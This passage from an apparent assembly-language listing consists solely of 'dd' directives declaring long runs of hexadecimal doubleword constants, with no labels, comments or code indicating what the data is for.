0E8221C48h, 8D013B90h, 645C8C29h, 402AA94Eh, 8076ABCCh dd 45007D03h, 27CAC635h, 0F643CD01h, 8EB9125Dh, 1E0CA02Bh dd 0EEE7200h, 0A35BC0E4h, 9B5A33h, 9173B1DCh, 8E0412F7h dd 8129DFC9h, 896420C1h, 501D7181h, 207139D6h, 0B3B3A0Ch dd 0DE920B18h, 0A2CC21E7h, 5F00FAB6h, 3E000FB3h, 97964972h dd 98E1E5h, 5AFAB5E7h, 0A39A65D8h, 9343DD0Eh, 6037CF27h dd 3817118Dh, 0C8B600C7h, 0D2BEE797h, 0D00AF74h, 501B1C63h dd 48B29D8Fh, 371CEE67h, 7F6B40C6h, 40795E2h, 0F19E3D01h dd 0D37742B8h, 0F834C843h, 3CEC78CBh, 0B50528A0h, 1F96432Fh dd 0BEE980ACh, 995ED9D4h, 80A8F100h, 73D512F0h, 643101D8h dd 0AF5702BFh, 92FD20E3h, 0EDB38600h, 0D89C5F89h, 0F8EB0353h dd 6B4F74A7h, 0E071DAF0h, 0CC3FACA1h, 110F94AFh, 0E189C3A6h dd 9B4357C6h, 21A3424h, 8A80ED4Ah, 0F44830A5h, 8E0060BFh dd 286C4C9Fh, 0C05C24F8h, 0C07CDA8Ch, 4F0283A2h, 846FC4EEh dd 190340D9h, 1DAE077Bh, 0F0A50CE8h, 3EBED44h, 0D2D6C209h dd 12CC80A0h, 192E1Fh, 2BADF394h, 61B8A2FDh, 0F00050FEh dd 3338960Fh, 14343E5Dh, 0FC086574h, 0CC880776h, 0E0C79311h dd 96AEEF91h, 7071F4B2h, 7601497Eh, 0F2A0CEE1h, 0C3F47C71h dd 4DC20DC8h, 4018E4E9h, 0E7338A5Ch, 4E113E00h, 0EF102168h dd 7B1C004Fh, 29C9B6FDh, 0A0004BAAh, 0C13D5ADFh, 0A807D9h dd 0D1E4D321h, 3756E95Fh, 0A2B8A303h, 0ED036D99h, 601A0892h dd 65C9D4h, 0A071BE06h, 761D6B81h, 0F75C9A00h, 0A992A5C6h dd 134D7F57h, 12ADB175h, 67E40032h, 0A2465889h, 1A00E974h dd 0BAC18394h, 0E25671h, 6EEE173Ch, 2FC3A8EAh, 0A1005F77h dd 7B576F5Ch, 9BD9DDh, 94BBEC34h, 9D55DACAh, 787CF01h dd 918951F8h, 8F27A480h, 0A7229A97h, 0CA7CBB0Ch, 72938D8h dd 1619A2EDh, 694A900Ch, 650050C0h, 0A7F19615h, 19C0963h dd 689DB880h, 0F44F218Ah, 0AE73E5F6h, 900C3B01h, 117FA3BCh dd 377E5460h, 25703376h, 6B78098Eh, 0B90E7C00h, 300E951h dd 0E109625Ch, 0D84782h, 0EDDECACFh, 8052D2ADh, 6388FCF3h dd 90B83F7Dh, 0E4057772h, 7102E05Ch, 951125C0h, 0DC960048h dd 4DCD3351h, 0D9091201h, 0F60D53A4h, 86F400C8h, 51C7628Ah dd 20CEF100h, 82A44C22h, 9FAE001Ch, 0E92FCBB0h, 509298FDh dd 3D706F00h, 140C5B54h, 0BB35007Eh, 7755D9B4h, 833F40DBh dd 0E71B00A8h, 0B0F6BA2Dh, 7C10975Fh, 0D490C469h, 3228909h dd 9B50E0EEh, 0D7AC0924h, 805D84BFh, 5DEA57C0h, 0F04A01FBh dd 977FCE0Dh, 2A98408Fh, 3400B5FEh, 2E44AAF4h, 0B46FDBh dd 47FF2356h, 794E1335h, 7B48D700h, 99970EC5h, 0F58D0092h dd 8C44E3F4h, 0CD00934Fh, 0F33FAAB5h, 817DB9h, 0C7BCE9Dh dd 0DBCFF0A2h, 0BE1E6BB0h, 7AC13733h, 0CE4E7639h, 0FB8DC8h dd 0D0674668h, 8304BB7Dh, 8890414Ah, 3830EFh, 2C4CBE4Ah dd 0F746923Eh, 405B5C9Ah, 8513C040h, 3202D1h, 87A1F59Ch dd 0AE7DA5C1h, 0DB3B8BE2h, 0FE2D0036h, 0E5195A72h, 0F5B8002Bh dd 0C36397B1h, 1604ED8Dh, 0E715067Ah, 2B8B5CC0h, 330D0083h dd 9472AC93h, 9600A5FCh, 812FA80Ah, 98B75057h, 23051FB1h dd 0BE9440D4h, 461829EFh, 95A07EE1h, 0E7FCF4h, 0AEDDEDC8h dd 0C0C6B0CBh, 0B9F6EE0Ch, 1CB5907Fh, 8046761Ch, 0FD37435h dd 84B0E464h, 24E2E000h, 79854D63h, 2C3700D8h, 0FAAB334Fh dd 8C008DE6h, 0AE407A6h, 750308h, 3CFD3673h, 7FFE14CDh dd 0BFC3410Ch, 72883035h, 0EE1A00C7h, 1549EF22h, 0E800C89Ch dd 834DEB6Ah, 13FC34F8h, 0E13E8225h, 0A16440F8h, 5C4C9664h dd 7A020149h, 1D69DE74h, 36BC806Bh, 0EC3F94ACh, 79162CEDh dd 53BA000h, 24F5B03h, 717FAAB8h, 6E6088BEh, 6400365Dh dd 77E3276Bh, 4D235F9Bh, 9101F847h, 8168ED24h, 3F5F81Ah dd 0CB509000h, 85678A0h, 759500D1h, 927332D0h, 0AC5C1FF2h dd 40D9072Ah, 8290BD79h, 0FD496h, 0EBB848F6h, 0DEC7CEFFh dd 0C97B20C3h, 78C19401h, 80CBC18Ah, 93477B1h, 0C6851C5Eh dd 0ACD4F480h, 1B16D2DEh, 0C4C00DCDh, 79F07DF1h, 356F1D83h dd 0BC1982B4h, 38C0448Ah, 76000AC4h, 3F6487FCh, 0F98637Ah dd 6EAFFA68h, 0C919B20Ch, 0E62D8E00h, 6634B908h, 0B89996h dd 5A0ECA9Ch, 0F6035080h, 0D1CD7213h, 8AB08897h, 0DD00038h dd 7B3BAD11h, 4802B8B3h, 7574E162h, 0EF1BE07Eh, 4CAB00FAh dd 3CB560B9h, 0EE03BA48h, 0A161BEEAh, 0F401E037h, 0D595384Dh dd 4B27A300h, 0E31B0443h, 34C0284Ah, 4C20A859h, 9280CCB9h dd 1E8F2C5Fh, 5254A702h, 8FA0DA05h, 0E9C3A399h, 0B6DB8FCh dd 0D92A04CAh, 0C7E47AAAh, 34D8B1C4h, 0C3347C1Dh, 0CDB1BFh dd 0C0221311h, 0E9B507E2h, 19ACF530h, 0FE34BDFh, 0A3712E55h dd 0F2728EC0h, 27FE4461h, 0BEDEC800h, 0E40C6DB8h, 16FFECA0h dd 3BB9D95h, 0F8940B40h, 5A11F0C0h, 0E356D700h, 0FFAEA718h dd 47CF4A8Fh, 3036B5A4h, 735B5D8Dh, 0D3D82E1Fh, 55AC049h dd 0D4E24274h, 3C05FF4Ch, 0C0FB0BA0h, 8923AE10h, 0F8A053FAh dd 0E1F2FCE6h, 58C1F902h, 0D0CA81C9h, 0DBDF0064h, 6DAB938Bh dd 0F2B03994h, 0B15E490Bh, 0CDAC8031h, 0E09FCF27h, 0B336007Fh dd 1E8068B5h, 3E05C62Dh, 2CDB8C77h, 0BF3188D0h, 85EF03A9h dd 1A9AAEF8h, 2B838BA0h, 0DE825203h, 99CC6195h, 0D9D86B13h dd 0A1E247h, 0FC23D6A2h, 535685CEh, 0AECD9C00h, 0BC7BC035h dd 1E8BF6F9h, 0AE94CCA5h, 0D09B0038h, 4AB7A989h, 8478A11Eh dd 750999C3h, 546100BDh, 4C18072Dh, 0EF052053h, 0CD8CB315h dd 0B0229890h, 252187Dh, 8D14F88Ah, 0B1CEE000h, 0C4BD5F81h dd 0A2610785h, 336F4B0h, 2EE948F5h, 867FC03h, 0C0A83507h dd 0B8D407E1h, 4283C080h, 7EB62795h, 960016F0h, 0D4B93330h dd 9C47F4h, 8AE50573h dd 0FC371BB4h, 46FE3C72h, 148F8000h, 5C18204Bh, 993100FAh dd 3DAB67A7h, 0B1023E6Ch, 0B7425950h, 707AB4h, 56E1D319h dd 0A0E5E820h, 803F9C3Bh, 7BC9414h, 80C06Dh, 0B1890609h dd 20FAA92Ah, 2123AD00h, 0ECB39AE6h, 14AF498h, 0FC631F30h dd 8065964Bh, 5E41D928h, 123D3CB4h, 791706h, 6F76129Bh dd 0F00D69Dh, 0D2501490h, 4C1642Ch, 0A1CA2E5Bh, 0DF50A4EBh dd 0AC80E14Ah, 49BAA566h, 0B100C0E0h, 0B0D8C59Fh, 0B27CBFFDh dd 1373E900h, 559A028Dh, 0EE10001Dh, 0C43FE193h, 0DF0BD7EDh dd 60632DCEh, 99B512Ch, 4145598Fh, 0C07C778Fh, 47552A2h dd 0E73A84AEh, 0EEE846Dh, 5BC02A4Fh, 48B8C7CDh, 0E000D40Ah dd 5746D8D4h, 0E61FA65Ch, 0C700D9F6h, 6EE46779h, 64B002Ch dd 93AB964Eh, 0DFFA4F71h, 0FCFB4502h, 74D76927h, 0E17F4044h dd 5D07EF2Ah, 843CEC19h, 7ACCCB60h, 29A50053h, 96B8A0CFh dd 940087D9h, 74899281h, 18CED2Fh, 0A39B5A76h, 7065A4DAh dd 0AB1766D9h, 32075FE2h, 3BC0EBD7h, 92E5630h, 0C44E52D6h dd 0FD42AC20h, 3C9A8DF6h, 0CAE2D402h, 40CD60E6h, 121DB69Ch dd 808652D3h, 7D04E01Ch, 0A7667F1Dh, 78C72856h, 0C2627460h dd 9704F58h, 0F8E6B11Ch, 14F7744h, 0C32030FEh, 0C837AD25h dd 9A0BEC96h, 403694DAh, 7EE0548h, 54D45E2Bh, 3C91E020h dd 80C0E52Dh, 0F3349BDEh, 3CB5F6B2h, 4F3C87D2h, 29D8380h dd 219A170Ah, 807DCC3Dh, 0F4A813B1h, 0C08C5A2Dh, 95929F18h dd 930340A6h, 0EEC1FF7Ah, 0C02AF2C6h, 463360h, 25E6E779h dd 0B85CFC06h, 69DD8400h, 2390F9CEh, 7C520340h, 0C1ACD1B9h dd 0A4AFFBC0h, 80140D3Bh, 3B607182h, 1D404C01h, 1363D7Bh dd 0F85502CEh, 0E49C80FDh, 0C78CD451h, 6A60E11h, 41637673h dd 18F643EAh, 323DFA00h, 9E132155h, 0B8D11FC1h, 18164002h dd 0A1823536h, 7B007F76h, 79412258h, 86BB77h, 0C0C8CF2Dh dd 66AFE151h, 601397F6h, 0A71DD889h, 2B13DA80h, 7BC353BDh dd 19010F81h, 7130DC5h, 0A097AE01h, 1E28F10Bh, 0E7E0B301h dd 0AA32FD67h, 0C7BB1FC0h, 2C1ABD28h, 9D1DC1CCh, 0ED00B276h dd 2C66E421h, 74970FA5h, 0EF20CAD7h, 8DBEAB41h, 42D89205h dd 8C4065B3h, 3E1B49C6h, 2878EED5h, 0FCC1C93h, 0FF38E423h dd 0AF324600h, 3F00453Bh, 4AD63AB6h, 3914351Ch, 3C007F33h dd 0E93ED334h, 0B70FE1DEh, 14F3F0E7h, 0F70A00B4h, 9306C7EFh dd 0A3982C64h, 8B2901AAh, 0C04DF65Ch, 7D137937h, 2C1F7BFFh dd 0A020C90Fh, 0D59BFD99h, 71EC1DBh, 0E8DE595Eh, 390E809h dd 0DF9C960Eh, 27B74951h, 0A0CF3A30h, 1B827163h, 0B2F4A04Dh dd 0F2450005h, 0AAC82993h, 0BCF4FD91h, 1A51B407h, 49B399A2h dd 0E0FF8B83h, 7BC6B6h, 0DF0C9C15h, 0C5841878h, 5E7CB400h dd 38773051h, 0A21903ACh, 61C4B10Bh, 807F95B9h, 0EFD40281h dd 0D0F3EDh, 0A940A2CFh, 0DBFA38D5h, 0CC1DB70Fh, 16F1A078h dd 813A5Dh, 33F4A736h, 8738A276h, 0E78EC400h, 75516BDBh dd 10ED6073h, 9109D9C8h, 0C382C602h, 805663B5h, 77254CACh dd 0F9450AB4h, 9CDE15h, 31A91EA8h, 660261B8h, 559C805Bh dd 0C41440AEh, 6C2400E0h, 0A07E408Bh, 4B48FE2Bh, 0DCA70198h dd 0A1A89345h, 10A3CC01h, 0F3903E7h, 675116FAh, 965686E1h dd 2B4DC014h, 0C76B2500h, 0BE0BD7C0h, 4E041C01h, 73C6800Dh dd 9D1697E4h, 81F42A06h, 778375Eh, 62EE3932h, 8189091h dd 842C3F2Dh, 7F133F8Fh, 0BD1E6A00h, 0BF447Ah, 764C66F6h dd 4DFB746Eh, 0BAEDBC00h, 0B4DE7982h, 0AFF701A6h, 0F1B0B94Fh dd 2D4DE03Eh, 0A906E0Fh, 0EC07F30Eh, 0DAF359DFh, 6246D0E1h dd 0D6A901E8h, 0E3B981BEh, 4137E424h, 31001EE0h, 0E89921C9h dd 0EAFAB6h, 0CAAEAFC1h, 80635C90h, 0A2418600h, 9B7DAD60h dd 1096000Fh, 8324D18Fh, 9C0146F0h, 0C5283B63h, 0D0C3A8B6h dd 1C6EAC56h, 4053EFD2h, 2FDC2AFBh, 0CE282663h, 7F07E045h dd 0D69447F3h, 0A1BD5C10h, 0DE890E35h, 9C01281h, 234EA96Eh dd 251F4C00h, 426DE576h, 0C9D120Bh, 357D005Ah, 0DABEB181h dd 0FD68E70Eh, 0CFB300B8h, 397CD92Ch, 0DD803351h, 0D1976270h dd 76017EB1h, 0E3A92287h, 80335731h, 7C7374h, 4D215C7h dd 0C57DA5EBh, 16E74300h, 0C19FA387h, 1B6807BDh, 0C134149Eh dd 0F8293E02h, 6D24BB90h, 1700243Ch, 0FD6198CDh, 2271713Dh dd 20FB9AFCh, 10007E84h, 11FA948Ah, 1DEF26A3h, 92248584h dd 40E31E59h, 0F8D8E335h, 203D13A6h, 3FAC48FBh, 71290079h dd 34D7DC53h, 0F577F9h, 24C66594h, 0BBD0C98Ch, 86B6A700h dd 6A6005D1h, 0C1C0F978h, 987F1E74h, 0E6D998EFh, 5B0032CAh dd 0ACBB7817h, 0E06A02h, 8BF7299Bh, 326BE9C7h, 49B8C100h dd 5E249DD7h, 0C46D483Eh, 37F4B200h, 1802D566h, 3B336E07h dd 41102715h, 2B8BF80h, 0F04F06A9h, 3FC0B5D4h, 0F40ED8EAh dd 0E18A2836h, 3E3948F1h, 6C7420h, 2BDE3B8Ch, 8364DC59h dd 0ED940450h, 0E413Bh, 71C17A25h, 7C70936h, 7CDE6012h dd 0BDB4B035h, 2E0031D3h, 6394AE29h, 76673FDAh, 901B0050h dd 0AD80FEFAh, 431C6A2Ah, 6B80798Ch, 0DAF6F0BAh, 78F4013Ah dd 0FC3CADFBh, 0A9E42013h, 2E00CE77h, 0DC34D022h, 1651F206h dd 404A6D3Ah, 740EBC04h, 84B0D8D3h, 43C442Ch, 0DC9D2004h dd 887E4CC3h, 0BF06D7h, 1A9F09A4h, 6EEBB959h, 0D0700B28h dd 9B1C1207h, 0E49471A7h, 7557A881h, 9D8020h, 0C4C11392h dd 0B0C634CEh, 0FDD7B301h, 0FFB7BE18h, 0E9E6260h, 73F33F11h dd 80A9A061h, 0C327E4F1h, 5F04D900h, 0DA0A6228h, 2B5926D2h dd 825C80FCh, 35F3AE89h, 20072AB0h, 3D2C47D8h, 6CCBB260h dd 71550019h, 0A66BB27h, 8400BE38h, 0EC160167h, 0E36D57h dd 0C91CE18Fh, 68F260BDh, 83EA7816h, 4989E200h, 7CEF3B46h dd 0FCD4132Bh, 0CBC01FE9h, 288214FDh, 3510EE2Ch, 3DE6ACh dd 0D459CC5Eh, 0B7C2CAD8h, 809DDE38h, 7F53F312h, 0F6E99872h dd 0EAD20068h, 66C7EDAAh, 41EEB07h, 0AE0084E6h, 0B551CE50h dd 5F9C2694h, 0F6700084h, 99D8486Eh, 90224C00h, 3BCE3342h dd 388C0065h, 0DDB59C10h, 8400FE24h, 0EBE929AEh, 2C52A319h dd 3A78C7EAh, 8F9B00FAh, 0CAE30B2Dh, 30B7987h, 3CFA143h dd 0B04E4034h, 43F3BE0h, 0DEA32A49h, 0F02FC6ABh, 11DF5400h dd 0C4BC8C6Bh, 25A900CCh, 6CA2964h, 0EC0289F1h, 0FFDFA55Ch dd 5E1C4837h, 588C027Fh, 4BD551EFh, 5F01D880h, 0E8FD5427h dd 0F50E32BDh, 540917C7h, 0EDC900E8h, 61B5F02Fh, 803C5951h dd 0D596C100h, 2EDA3BCAh, 3C33BE3Ah, 7D628045h, 4E274BD9h dd 43130060h, 94B4DB97h, 2F079DB7h, 0A003FAC1h, 0B6F54290h dd 563A0C7Bh, 0B5693C59h, 0A3098101h, 0B839DA4Bh, 3FD22080h dd 9156675Ch, 0C3A93B00h, 0B5938D07h, 23601AFh, 42290A27h dd 7E7FDCD7h, 0BCD0973Bh, 0FD4900E2h, 7DAF816h, 3BC0F603h dd 0FC275Ah, 6EF5BDB7h, 1BD2403Dh, 7EE6B902h, 73016CAh dd 0C9885BF0h, 46CF0090h, 17D8BD82h, 9EFE30DDh, 0B61D0680h dd 0EA0CDC3h, 0CAA1E738h, 4087475Bh, 838AFE45h, 4A808176h dd 502055C1h, 33010916h, 0D0A037BCh, 2E5270B7h, 54D73B0Ah dd 8998B03Fh, 49164009h, 7D0CAC01h, 0F25172BAh, 60D28306h dd 0E8DE07h, 0CC8CDB7h, 7BD6403Ah, 61419E30h, 0F638188h dd 3E554824h, 9CC00F0h dd 9AD0FFE3h, 60A2E693h, 0C2B99881h, 327242EDh, 73607E66h dd 98280071h, 6EF7A2AFh, 63007F4Ch, 0A9B4D68Ah, 7E1596h dd 0E9CFF14Ah, 0FDED98B5h, 9E91A500h, 11CA937h, 66BA009Ch dd 0E55102A2h, 0AF01AB38h, 0CC42D59Fh, 2BD4F75Bh, 0F7DFE11h dd 0D4F35299h, 86EF7AAFh, 3E19DC40h, 0EE3850FFh, 37C280DFh dd 356E554Fh, 0EF6A008Fh, 0CDB8F505h, 0C004D2Fh, 3440DA41h dd 0EBB35EBh, 7291AE39h, 0F54499E0h, 37C6138h, 784E13Dh dd 0A8831E60h, 3A18C5B0h, 732900FFh, 2E70052Dh, 0B105DC40h dd 3B539139h, 9E14C844h, 0AC3A8CC0h, 0E0610078h, 0AE7B846Ch dd 0ED057E16h, 0DF2794C6h, 0BAFFE403h, 0F89E18Ch, 64B6118Ch dd 3E549849h, 0E800E2D0h, 35829ABDh, 0FEA3DEA9h, 0E84FAB8h dd 20B21B95h, 400073AEh, 5330C52Fh, 55A45102h, 817D9243h dd 3FDC57ECh, 80345401h, 0FFAC1861h, 3192B89h, 2D985538h dd 0C1C89273h, 36000809h, 2A608479h, 38063E7Ah, 0CC8FCB30h dd 0A7234A7Ch, 7BF0435Ch, 0B50F97C6h, 0A0723FBCh, 0E12CBEC3h dd 0D4B82433h, 0CFB78050h, 0D69CBCECh, 9ECD3200h, 7693BF4Bh dd 0D8D12402h, 0C2A030h, 2E38FE3Ch, 4A1E6C23h, 0A6A5E900h dd 0AF6501DFh, 0AA432CCEh, 8034009Dh, 0F4926676h, 8C89383Bh dd 412F4807h, 3F950016h, 359C1E70h, 5A1D7585h, 0A2004809h dd 0E7FC33B8h, 0C2AE3F26h, 7DDE368Eh, 0D3B030E0h, 8D0048A5h dd 0A7ECF434h, 7EE1A8h, 161A6A72h, 0BAE8254h, 0E88F7B00h dd 9438B088h, 6C371D77h, 0EA7D7F11h, 502D07F2h, 203214BBh dd 0D9B356FDh, 7AC53000h, 0E4F5AE0Eh, 0FE39029Ch, 0FDDEED69h dd 683FBDE0h, 0C0CF5574h, 0D16CE01Ch, 7F431Fh, 28764A90h dd 0E9CEEF8Fh, 0D99C3400h, 7E39F3DAh, 0F9431C9Bh, 555B0088h dd 51BBC981h, 26DB3400h, 0AFD4B44Ch, 0E1830F42h, 0D78FA3EDh dd 5DEFF180h, 180188F4h, 6CB1ACDAh, 188FB273h, 40FD4714h dd 0AEB07BF2h, 0F4EDD25Fh, 297BC6E0h, 0E4002DE8h, 0EB60CFCh dd 0C89738A2h, 20B6D340h, 25060630h, 11DDC03Bh, 124048h dd 0E926A30h, 0CDBA5DF9h, 3021E308h, 2900B5B5h, 6118FB4Bh dd 0D5BCEh, 0EB8E6321h, 9868D2E6h, 14E8807h, 9783D428h dd 8891588Ah, 3563AC00h, 0EB60D620h, 5FA6781Dh, 2F21FF18h dd 2C580A3h, 3BB24D03h, 805225B0h, 1C8E5C1h, 0DA4ED2E7h dd 0B224CB7Ch, 3038C0C8h, 4311B590h, 0EC888A6Ah, 0B5969280h dd 3D74046Bh, 3D80E586h, 51599B15h, 9FE5BDD4h, 0BA809329h dd 0C3CD3354h, 0C02B736Ch, 0F272AA70h, 4A30631Eh, 0B27CF0FDh dd 7AD10CF4h, 361CFA2Dh, 0A6001872h, 4EA2CF51h, 3DA10Eh dd 47F5AD78h, 883B77CBh, 0B5B08000h, 48E36BD7h, 71EE003Eh dd 0CAD1A2F7h, 2800EFFCh, 0CB1ADD21h, 1C246D5Eh, 408A1B86h dd 0B61E0344h, 0D63D1FBDh, 0C97A80BCh, 112C58D4h, 483800B1h dd 0C27D8A21h, 790120FAh, 0A90DC485h, 0C8CBF34Eh, 9CEDA8h dd 0F73DE456h, 0FC949D9h, 37342307h, 4660FB40h, 748162F2h dd 47F71E7Ah, 71AF004Fh, 741F3F65h, 0CBF9BC00h, 0B11D79A7h dd 69A80070h, 9EC1BAE7h, 2103BE2Bh, 73B38E46h, 5B191831h dd 23E308DCh, 0F6EF5003h, 0B0624642h, 0E11D8Bh, 0CD95A56Ch dd 0A8BAE6E3h, 4241700h, 0FF1950C2h, 5BAD0064h, 216AC469h dd 0F5308D3Dh, 4BAE5082h, 672C3E2Dh, 0BC06CF3Dh, 1025D153h dd 37242F06h, 1778B8C0h, 0BE7813E6h, 0A75EE000h, 0B05DBFBAh dd 0A19E174Bh, 0AD60064h, 57958CEAh, 0C32D89C0h, 2013C7h dd 52BEF877h, 0FF5B6164h, 3D32A309h, 947587F6h, 355DADA1h dd 91A07080h, 0C0E1E24Bh, 5E9A5200h, 9355FA3Dh, 649C01EAh dd 54832F60h, 71B2F0C2h, 9E0319C0h, 0E4B0EFAAh, 69CA0EACh dd 0FF803D88h, 0E2C5A34Ah, 52E8B190h, 5048EA1Dh, 0CEC889C7h dd 0ED2AF180h, 3E74F88Dh, 448017DAh, 0DE653D58h, 0E270D7CEh dd 671A5F3Eh, 1EC014B6h, 0D84C1908h, 0D0D71020h, 4205A500h dd 44F4C8B3h, 527C31F8h, 0FCD2EF20h, 63031843h, 0D67DC65h dd 38CEDAh, 7CD393B7h, 0A138AF44h, 8175C33h, 9E2100B1h dd 0FF1CD3E7h, 7B7EE060h, 0F6483F60h, 0CE67B157h, 7185AA60h dd 34440024h, 8DA91A3Bh, 0DCBB9306h, 6008A3A5h, 36662110h dd 6800311Ah, 0F42E9F40h, 306BB3C3h, 0EFA0DAB1h, 0A1509072h dd 9B004284h, 0AED213FBh, 0E979ACh, 0EC8962Ah, 9FBD3AD7h dd 0CDAAF700h, 73135783h, 0E876F4h, 0CE726A3Ch, 0F11828B3h dd 9C1D0500h, 2B5E7866h, 68C0091h, 0EB24AF23h, 0FF7EF5DDh dd 37CDF900h, 2593299Dh, 0CF5B00D5h, 35F0EEA8h, 7900ADE4h dd 27507433h, 59377FAh, 0B8FFEDEBh, 7B32C080h, 8A00487Fh dd 2CE2825Dh, 0FA490B62h, 8C3B0324h, 7B6ED5DDh, 3350EEC8h dd 5E8BFA00h, 196AAB5Ch, 464706Dh, 58136893h, 846BC045h dd 0BF3A1A1Eh, 0EEE700D1h, 631C6D5h, 3E400FCh, 427CD613h dd 0EB3A5208h, 0BA39805Eh, 77D1806Ch, 5CEF007Bh, 0D8A165A2h dd 96603246h, 0C87D2240h, 0CD08C39Fh, 10001301h, 0F19790B7h dd 0C5BD54h, 952F68FEh, 7AC1B562h, 2503CD71h, 15B7CB27h dd 3929219Ch, 88B6ED08h, 0D79F24A9h, 0DF08FF22h, 0CE75B344h dd 7600DC51h, 0DA984B97h, 2A672E00h, 4A05A940h, 53CA001Dh dd 5884A7C5h, 0F895913Bh, 987A0B1Ch, 0F1816019h, 70681DE6h dd 0C70086DBh, 319AB8F5h, 0C002DCh, 77A46773h, 0FEAAE579h dd 16F95E60h, 6C54CCh, 0D5B91295h, 317C4F33h, 0E2392300h dd 0D9AE56EAh, 15370067h, 5EBB0ED2h, 0A2009CC6h, 0EC34C383h dd 79DDEB2h, 28373B50h, 5115C0FAh, 0EE007EC6h, 8747A5E2h dd 359DCBh, 0C0D5A40Dh, 77664AC2h, 0EABF5300h, 0AC6DE0Ch dd 0C4815078h, 0D2913CA4h, 0D68B8880h, 0ECEB8C9Ch, 39EF1500h dd 796D35CEh, 672600CFh, 0B8B75C82h, 6300EE09h, 0E38EF3F4h dd 0F04ADEFDh, 0AA5500E7h, 15084D0Bh, 8C753EB8h, 2DA8E000h dd 6169D49Bh, 4264056Fh, 0C09DFC80h, 2EAA347Eh, 0C349E200h dd 0D6B1038Dh, 71A2004Eh, 0C8901AA4h, 6100FC02h, 0E28C8912h dd 14B2D8C5h, 0A879DB48h, 0D2EBF402h, 76405C5Ah, 0AC00EE26h dd 875914ECh, 39E208h, 0D0EBC77Dh, 409AB1F7h, 0F9002698h dd 0F48B31Eh, 1E0417E9h, 80F5B46Ch, 0D89668F1h, 1401A7F2h dd 7225139Ch, 0E820BA56h, 390E0074h, 7FD951EFh, 81389F0Bh dd 0D2A3806Ah, 5D33E5ECh, 0A54D0074h, 0F081B18h, 0CC0565C4h dd 0C94ADF34h, 9BFBE800h, 175F133h, 830FC776h, 0C07FA71Ah dd 57141703h, 1E574F7h, 46DFD5A1h, 0C8401A12h, 4BFC18h dd 9F0DBEFFh, 5D2A140Ah, 4F1B471Ch, 93640Bh, 9ECFD26Ch dd 66BC0027h, 8EC5B350h, 700FCB72h, 0C07D65A3h, 6D9A24DEh dd 92FC005Ch, 53223CB1h, 0B2E0CFE1h, 348D3801h, 542E4628h dd 212DA480h, 63B4999Bh, 0FCABC600h, 6EE2C3E8h, 7C6F0009h dd 8708D823h, 0BE79A814h, 18CAEF00h, 0B00CC40Bh, 16F5005Eh dd 0EBD8A665h, 0A2008447h, 2AF88868h, 4640C8h, 6763AA9Ch dd 0B1FCD478h, 3EBEE703h, 981B9F68h, 194175h, 0B02D6D8Ah dd 2B88B23Fh, 629C7B09h, 0A118076h, 0E95455h, 0C53D7ADh dd 0AC36E46Dh, 0C50E4178h, 60F95C76h, 9748EDAEh, 0E81000Fh dd 6B2E9362h, 18C0A1E7h, 0A51CFA0Dh, 7F410014h, 192006D6h dd 2900AF5Eh, 308E3D67h, 7FB2737Eh, 9F6A0146h, 0D3509C31h dd 2D90CCC4h, 780045F6h dd 53512C68h, 7BD7CBh, 5403AF56h, 0CCFC8771h, 0C853500h dd 1FCEA3E1h, 0B2240029h, 1B6766CAh, 351D5833h, 0EB40D0A1h dd 0BA1F483Fh, 3C7FAF9h, 7057F7AFh, 80AC50BDh, 4F225B85h dd 804EED3Bh, 95DE2065h, 0B8B1F4h, 0D8BA992h, 4796293Ch dd 4DD63700h, 0E25A8F06h, 15A1581Dh, 219A580Bh, 80383704h dd 0D1F07304h, 0A71C2A0Eh, 0B1E7006Ch, 4A4B9FD7h, 775D006Dh dd 0DF24513Dh, 5BE5D102h, 6036B619h, 9ADDC79Bh, 0EA400038h dd 78B83C5h, 480FEE3Ah, 41F81A88h, 135C6BB7h, 97BE70h dd 7AE9C10Dh, 35DCE787h, 92AC8B00h, 9B4CB5CDh, 0A3A90073h dd 0D6CB7EDBh, 2F5036F8h, 80C2AEBCh, 80F11CEDh, 610E26A8h dd 0E86B0393h, 0E7A86742h, 0D42F1800h, 35A5481Eh, 28840044h dd 0ADC5315Ah, 91027421h, 0C32BC9C0h, 1C05FF0h, 7E004EF4h dd 0A259E8B5h, 376A93Eh, 1A676CB4h, 68E05B1Bh, 97036A1h dd 0FFE638h, 55DA89F1h, 92E717h, 0DF4FB4Fh, 0B1DCAA95h dd 1E6A3Bh, 0E18E038Fh, 28EA12h, 8516E4CFh, 58E81DD1h dd 87DF703Bh, 19AB7A47h, 47C4BDE5h, 2E4FD800h, 0F227FE65h dd 591526FAh, 0D5900055h, 0F531BE26h, 0AB2BB300h, 2402080Bh dd 5814247Fh, 0F29E0054h, 6B7B3613h, 0D28F9400h, 0F8B71CE9h dd 7ED8A0BBh, 9BC30043h, 62CF59C7h, 5700DB41h, 0B9EDEA48h dd 7C504DFh, 4A5E347Fh, 18A4D085h, 681FA659h, 0B0C03CD6h dd 0E960D8E1h, 9B94044Eh, 80C8C546h, 42798180h, 0F42E5AF0h dd 3D042Ah, 7CE70534h, 489487Eh, 8B1929DDh, 3E4CC0B4h dd 35000828h, 36DE0791h, 1D410Fh, 0E773E281h, 0D314D485h dd 9D3E8E00h, 896E513Bh, 0F2F40324h, 0D4F88649h, 3AB058A8h dd 97FC2200h, 0BAC85950h, 8C76096Fh, 9E012C1Bh, 0E33D8D28h dd 0ED880390h, 0C7247900h, 858091DCh, 5F540006h, 0AF778FD0h dd 920015A9h, 5D2EE350h, 6C386Bh, 0DC7747Eh, 0DA48E7EEh dd 0A74EAA00h, 987BCABFh, 0C055169Fh, 2D5100E8h, 1642701Bh dd 3550B807h, 0B21752D1h, 91CA7FB0h, 3F449206h, 4B8783C3h dd 53D5C4FBh, 0B1B3A9B8h, 109B08F0h, 0B4967C00h, 27388286h dd 71FE1C5Ah, 0E916C331h, 0A9863D7h, 0E0388F4h, 360D4CC0h dd 13FDE985h, 4EEACE4h, 41577092h, 63DAC00Bh, 0B8004EF1h dd 47EF48E0h, 0E256C7h, 0A6365D24h, 4BE914DCh, 500D1EAh dd 4EE87C45h, 0CD708Eh, 5342C91Dh, 59FA877Fh, 3FF35C2Ch dd 2FFBC300h, 0C25F1Eh, 23AF349Eh, 8A9C4508h, 4D908F1Eh dd 0A1397C00h, 0F4E824A6h, 6C1700C4h, 5F3BF42Eh, 7A0019A5h dd 844102AFh, 0E628C2h, 0F251E839h, 66D486CBh, 4D009E71h dd 2A7E32C7h, 0A3DCD8h, 71E6F939h, 2C52A241h, 0B5008B7Ch dd 47CFDB16h, 4CDAA3h, 9F9ECEF0h, 0B6506760h, 30661400h dd 0F5B24684h, 4EFB00A7h, 